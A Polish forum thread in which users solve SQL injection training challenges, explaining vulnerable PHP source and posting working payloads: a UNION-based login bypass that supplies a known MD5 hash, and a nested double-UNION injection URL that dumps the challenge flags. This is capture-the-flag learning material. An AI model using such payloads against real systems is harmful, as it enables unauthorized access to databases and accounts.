SQL injection test

0

Cześć, znalazłem linka do pewnego testu, gdzie możemy spróbować swoich sił w sql injection,
jednak jestem laikiem w tych sprawach
i chciałbym z ciekawości dowiedzieć się, od kogoś, kto cokolwiek więcej wie ode mnie na ten temat, co trzeba zrobić żeby te zadanko wykonać.
Trzeba zalogować się na konto admina.

link: http://training.securitum.com/rozwal/abc/1.php

Kto podoła ;)?

1

Przecież masz podane źródło:

<!--
  if(isset($_POST['logme'])) {
    $query = "SELECT login, password FROM users WHERE login='".$_POST['login']."'";
    $res = mysql_query($query);

    $row = mysql_fetch_array($res);

    if(md5($_POST['password']) === $row['password']) {
       echo "Flaga to: $flag";
    }
-->

Więc na przykład jako login dajesz

dupa' union select 'admin', '098f6bcd4621d373cade4e832627b4f6

a jako hasło

test

Dzięki temu zapytanie wygląda tak:

SELECT login, password FROM users WHERE login='dupa' union select 'admin', '098f6bcd4621d373cade4e832627b4f6'

Usera o nazwie dupa nie ma, więc wynikiem będzie tylko jeden wiersz z uniona:

'admin', '098f6bcd4621d373cade4e832627b4f6'

A 098f6bcd4621d373cade4e832627b4f6 to md5('test'), które potem podajemy jako hasło. W efekcie warunek md5('test') == 098f6bcd4621d373cade4e832627b4f6 jest spełniony.

0

Brawo. jestem pod warażeniem.

Tutaj jakby ktoś chciał to więcej przykładowych testów: https://rozwal.to/zadanie/13

Może jeszcze ktoś się pokusi o to zadanie: http://training.securitum.com/rozwal/gim/gimnazjum4/
tutaj to w ogóle nie wiem co trzeba zrobić :)

0

Ale ty w ogóle zerkasz na te źródła? o_O

<?php
    readfile(__FILE__);
    $db= new SQLite3('db.db');
    $_GET['id'] = str_replace('-','',$_GET['id']);

    $odp='';

    $res = $db->query('SELECT name FROM flags WHERE id='.$_GET['id'].' LIMIT 1');
    while($r=$res->fetchArray())
    {
	$odp=$r['name'];
    }

    $res = $db->query('SELECT count(*) FROM flags WHERE name="'.$odp.'"');
    while($r=$res->fetchArray())
    {
	echo $r[0];
    }

Więc mozesz podać parametr ?id=1 i wtedy wykona sie:

SELECT name FROM flags WHERE id=1 LIMIT 1

A ostatni wiersz wyników przypisany zostanie do $odp
Następnie wykona się:

SELECT count(*) FROM flags WHERE name="'.$odp.'"'

I zostanie wypisany wynik tego zapytania.
Możemy więc w pierwszym zapytaniu zrobić sobie union, żeby ustawić arbitralną wartość zmiennej $odp, a jeśli wrzucimy tam jakieś union czy inne sqli to nam sie to wszystko ladnie wypisze.

edit: poza tym widzę że są tam wcześniejsze lvl które pokazują jak sobie radzić z łatwiejszym przykładem podobnego zapytania. Zacznij od nich.

0

Amator ze mnie :), ale zabawa fajna z tym, ciekawe ile serwisów jest podatnych na takie rzeczy :)?

PS. @Shalom Jak możesz to rozwiń swoją odpowiedź o jakiś przykład:

Możemy więc w pierwszym zapytaniu zrobić sobie union, żeby ustawić arbitralną wartość zmiennej $odp, a jeśli wrzucimy tam jakieś union czy inne sqli to nam sie to wszystko ladnie wypisze.

Pozdro

0

Nie będę dodawał przykładu bo nie chcę psuć zabawy. Jeśli nie dajesz rady to poćwicz na łatwiejszych zadaniach. Agregatorów z zadaniami jest cała masa.
Najlepniej odpal sobie lokalnie ten skrypt i dodaj do niego echo w ciekawszych miejscach, zebyś widział jakie zapytanie się tworzy i co zwraca.

0

Jak mam odpalić to lokalnie skoro nie mam bazy danych?

0

No to zainstaluj sobie? Naprawdę nie stanowi to większego problemu, zwłaszcza że są dostępne gotowe paczki (tzw. WAMPy).

0

@xxxx123 to sobie zrób? :D SQLite to nie jest jakaś skomplikowana technologia a z zapytania jasno widać jaka jest struktura bazy.

0

Probuje cos takiego, ale nie malo znam PHP i nie wiem czemu nie łyka apostrofów:

Najpierw robie tak zeby brało pod uwagę drugi człon:
http://training.securitum.com/rozwal/gim/gimnazjum4/?id=123456789 union all select name from flags where id=1

Teraz za 'name' chce wstawić SQLI (dupa' union select * from flags) - dla podwójnego apostrofu próbuje tak:
http://training.securitum.com/rozwal/gim/gimnazjum4/?id=123456789 union all select 'dupa'' union select * from flags' from flags where id=1

Bo rozumiem dążymy do wypisania count oraz listy 'name'

0

Nie zgaduj tylko postaw to sobie lokalnie.

0

Nie mam póki co takiej możliwości postawienia serwera php.
Chyba że jakieś narzedzia online by pozwoliły na test.

Podałem mój tok rozumowania, proszę o wskazówkę.

0

Tok rozumowania jest błedny bo te ' wywalą już pierwsze zapytanie ;)

0

No ale zgadzasz się co do tego, że za $odp trzeba podsawić sqli z union select?
Moim zdaniem trzeba, tyle że nie znam php i tej całej otoczki z parametrami url, bo sql trochę znam.

0

Przecież sam to zasugerowałem ;] Ale musisz to odpowiednio escapować żeby przeszło.

0

Próbowałem z zamianą ' na odpowiedniki ASCII itp itd, pojedyncze i podwójne ' etc.
Bez efektu.

0

Nie zgaduj tylko to uruchom. Serio.
Zrób też te poprzednie zadania 1-3 zanim będziesz robił to 4. Jak chcesz popatrzeć na jakieś inne to zadania które przygotowaliśmy na PWNing jeszcze wiszą -> https://pwning2016.p4.team/

0

tak jak powiedziałem, nie mam mozliwości instalacji serwera, mam tylko przeglądarkę w której sobie to odpalam.
Porzucam to zadanie, szkoda czasu. pozdro

0
xxxx123 napisał(a):

tak jak powiedziałem, nie mam mozliwości instalacji serwera, mam tylko przeglądarkę w której sobie to odpalam.
Porzucam to zadanie, szkoda czasu. pozdro

To sobie załóż jakieś darmowe konto na hostingu www, dopisz co tam chcesz do pliku, wgraj i niech hula.
Jak nie masz też możliwości żadnego klienta FTPa zainstalować to chyba na cba.pl można przez przeglądarkę pliki wrzucać.
Trochę klikania ale efekt będziesz miał.

2

Nie mogłem puścić płazem docinki Shaloma, zatem
training.securitum.com/rozwal/gim/gimnazjum4/?id=123456789 union all select 'dupa" union all select distinct name from flags where "1"="1'

output
ROZWAL_NIE_TEN_FORMATROZWAL_{ZjazdGimboli}ROZWAL_{OdZjazduGimboliGlowaBoli}ROZWAL_{SelectNameFromGimbus}ROZWAL_{DoubleUnion}

Takich zabaw jest dużo więcej, ja dziś walczyłem po raz pierwszy, póki co wracam do swoich zajęć bardziej przyziemnych i przydatnych :), pozdro!

1 użytkowników online, w tym zalogowanych: 0, gości: 1